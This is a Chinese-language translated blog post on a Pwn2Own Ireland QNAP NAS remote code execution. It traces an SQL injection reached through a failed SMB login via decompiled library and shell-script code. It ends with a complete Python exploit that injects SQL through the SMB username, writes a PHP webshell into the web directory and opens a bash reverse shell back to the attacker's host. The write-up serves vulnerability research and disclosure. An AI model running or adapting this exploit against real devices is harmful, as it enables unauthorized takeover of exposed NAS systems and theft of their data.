Pwn2Own 爱尔兰 - QNAP SQL 注入 RCE

admin 2025年6月1日02:33:20评论29 views字数 5484阅读18分16秒阅读模式

【翻译】QNAP RCE Pwn2Own


免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。

CVE 评分 (3.1 版): 9.8 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE-89: SQL 注入

漏洞概述

该漏洞存在于遗留日志系统组件 /usr/lib/libuLinux_naslog.so 的 naslog_conn_add2 函数中。攻击者通过发起 SMB 身份验证尝试,当认证失败时会触发 write_connlog_login_deny_smb1 函数调用。如后文所述,该过程最终会导致 SQL 注入漏洞,进而实现远程代码执行(RCE)。

技术细节分析

负责管理 SMB 身份验证的库文件为./mnt/ext/opt/samba/lib/private/libauth-samba4.so。该服务可通过以下两种方式被访问:

  1. 同一网络内的远程设备
  2. 当 SMB 服务暴露于互联网或进行端口转发时,可通过公网直接访问

当通过 SMB 协议进行身份验证失败时,设备会调用 write_connlog_login_deny_smb1 函数,该函数进一步调用位于内存地址 sub_A720 处的子程序。


// 注意:反编译输出已进行缩写处理_int64 __fastcall sub_A720(unsigned int a1, _BYTE *a2, const char *a3, const char *a4, __int64 a5, const char *a6){    //...   v8 = "/usr/local/samba/sbin/log_ratelimit.sh";  if ( (_DWORD)a5 != 9 )    v8 = "/sbin/conn_log_tool";  snprintf(v10, 0x800uLL, "%s -t %d -u '%s' -p '%s' -m '%s' -i %d -n %d -a '%s' -S", v8, a1, v7, a3, v6, 1LL, a5, a6);  smbrun((__int64)v10, 0LL0LL);  // [1]   //...

该过程通过调用点 [1] 处的 smbrun 函数实现。由于我们能够控制 -u '%s' 字符串格式标识符对应的缓冲区内容,这使得攻击者可以携带任意参数执行 log_ratelimit.sh 脚本。


#!/bin/sh
#...argv="$@"    # all arguments. #  [1]#...# 解析参数并获取客户端信息POSITIONAL_ARGS=()
while [[ $# -gt 0 ]]; do  case $1 in#...    -u)      # 当用户名前缀采用 '<DOMAIN><USER>' 格式的域信息时,将反斜杠 (backslash) 替换为冒号 (colon)      # 转换为 '<DOMAIN>:<USER>' 格式以确保 grep 命令有效解析      username=`echo "$2" | sed 's/\\/:/g' 2>/dev/null`      shift # past argument      shift # past value      ;;#...  esacdone
#...
# 发送至 Qulog 系统,插入日志记录以供后续查询。后台运行以防止阻塞父进程(/sbin/conn_log_tool $argv && CMD="${keyword}" sleep "${ratelimit_sec}") &  # [2]ret="$?"
exit "${ret}"

通过这种方式,我们最终能够以可控参数执行 conn_log_tool(该文件是 log_tool 的符号链接 (symlink)),如调用点 callsite 所示。该工具内部会调用 QNAP 遗留 API 中的 naslog_conn_add2 函数,具体调用关系如下方调用点 [1] 所示。


// 注意:反编译输出已进行缩写处理_int64 __fastcall main(int argc, char **argv){  //...  qword_60B8D0 = 0LL;  LODWORD(qword_60B8D8) = 0;  if ( argc <= 1 )  {    sub_4031F0(*argv);    return 0LL;  }  while ( 2 )  {    v2 = getopt_long(argc, argv, "b:hcrfya:Sqt:l:u:r:s:e:vp:m:o:i:n:g:A:R:", &stru_408A40, 0LL);    switch ( v2 )    {      case '':        qword_60B8C0 = optarg;        //...            if ( (_DWORD)qword_60B8A8 != 1 )            {              if ( dword_60B84C == 1 )              {                memset(v5, 00x7D8uLL);                v5[1] = (int)qword_60B860;                if ( src )                  strncpy((char *)&v5[16], src, 0x40uLL);                if ( qword_60B870 )                  strncpy((char *)&v5[32] + 1, qword_60B870, 0x40uLL);                if ( qword_60B878 )                  strncpy((char *)&v5[48] + 2, qword_60B878, 0x40uLL);                if ( qword_60B8C0 )                  strncpy((char *)&v5[389], qword_60B8C0, 0x40uLL);                if ( qword_60B8C8 )                  strncpy((char *)&v5[405] + 1, qword_60B8C8, 0x80uLL);                if ( qword_60B8D0 )                  strncpy((char *)&v5[437] + 2, qword_60B8D0, 0xFFuLL);                strncpy((char *)&v5[64] + 3, qword_60B858, 0x400uLL);                v5[321] = dword_60B880;                v5[322] = dword_60B884;                v5[388] = (int)qword_60B8B8;                if ( qword_60B8B0 )                  strncpy((char *)&v5[323], qword_60B8B0, 0x100uLL);                if ( dword_60B89C )                  puts("Appending a log to database...");                if ( (_DWORD)qword_60B850 == 1 )                  tbl = SendConnToLogEngineEx4(                          (unsigned int)v5[1],                          &v5[16],                          &v5[323],                          (char *)&v5[32] + 1,                          (char *)&v5[48] + 2,                          (unsigned int)v5[321],                          (unsigned int)v5[322],                          (unsigned int)v5[388],                          &v5[389],                          (char *)&v5[405] + 1,                          (char *)&v5[437] + 2,                          (char *)&v5[64] + 3);                else                  tbl = naslog_conn_add2(v5);  [1]                goto LABEL_14;

最终调用 /usr/lib/libuLinux_naslog.so 中的 naslog_conn_add2 函数,该函数存在 SQL 注入漏洞 (SQL Injection),如下所示。


// 注:反编译输出已进行缩写处理__int64 __fastcall naslog_conn_add2(void *a1){    //...
  v1 = a1 + 64;  if ( strlen(a1 + 64) > 0x40 )  //...  v13 = *((unsigned int *)a1 + 388);  v69[v9] = 0;  v14 = sqlite3_mprintf(          "INSERT INTO NASLOG_CONN t( conn_type, conn_user, conn_ip, conn_comp, conn_res, conn_serv, conn_action, conn_a"          "pp, conn_action_result, conn_client_id, conn_client_app, conn_client_agent ) tVALUES t( %d, '%s', '%s', '%s'"          ", '%s', %d, %d, '%s', %d, %Q, %Q, %Q);",          *((unsigned int *)a1 + 1),          v1,          a1 + 129,          v59,          v69,          *((unsigned int *)a1 + 321),          *((unsigned int *)a1 + 322),          v61,          v13,          v63,          v60,          v60,          v62);

这使我们可以向数据库注入 PHP webshell。

漏洞利用 (EXPLOITATION)

通过访问该 webshell 来触发其执行


from smb.SMBConnection import SMBConnectionimport requests, os, uuid, threading, time
shell_name = f"shell_{str(uuid.uuid4())}.php"
def run_sql(ip,sql):    sql = sql.replace(" ","/**/")    conn = SMBConnection(f"""x' -u xx -A "haha','1','2','3','4');{sql};--" -a abc -- x -- '"""'blah'"g"'g', use_ntlm_v2 = True)    conn.connect(ip, 139)
def shell():    os.system("ncat -lvp 1337")    r = requests.get(f"http://{target_ip}:8080/nc/{shell_name}",params={"0":f"rm -f /mnt/ext/opt/NotificationCenter/opt/www/{shell_name}"})
if __name__ == "__main__":    if len(os.sys.argv) != 3:        print("<exp> {target_ip} {host_ip}")        exit(0)    target_ip = os.sys.argv[1]    host_ip = os.sys.argv[2]
    try:        print("Running SQLI to File Write")        run_sql(target_ip,f"ATTACH DATABASE '/mnt/ext/opt/NotificationCenter/opt/www/{shell_name}' AS q;CREATE TABLE q.x (x text);INSERT INTO q.x (x) VALUES('<?=system($_GET[0]);?>')")    except:        print("SMB Connection didn't work :(")
    requests.get(f"http://{target_ip}:8080/nc/{shell_name}?cache_bust")    print("Spawning Rev Shell")    t = threading.Thread(target=shell)    t.start()
    rev = f"bash -i >& /dev/tcp/{host_ip}/1337 0>&1"    time.sleep(1)    r = requests.get(f"http://{target_ip}:8080/nc/{shell_name}",params={"0":rev})

原文始发于微信公众号(securitainment):Pwn2Own 爱尔兰 - QNAP SQL 注入 RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月1日02:33:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Pwn2Own 爱尔兰 - QNAP SQL 注入 RCEhttps://cn-sec.com/archives/4119708.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息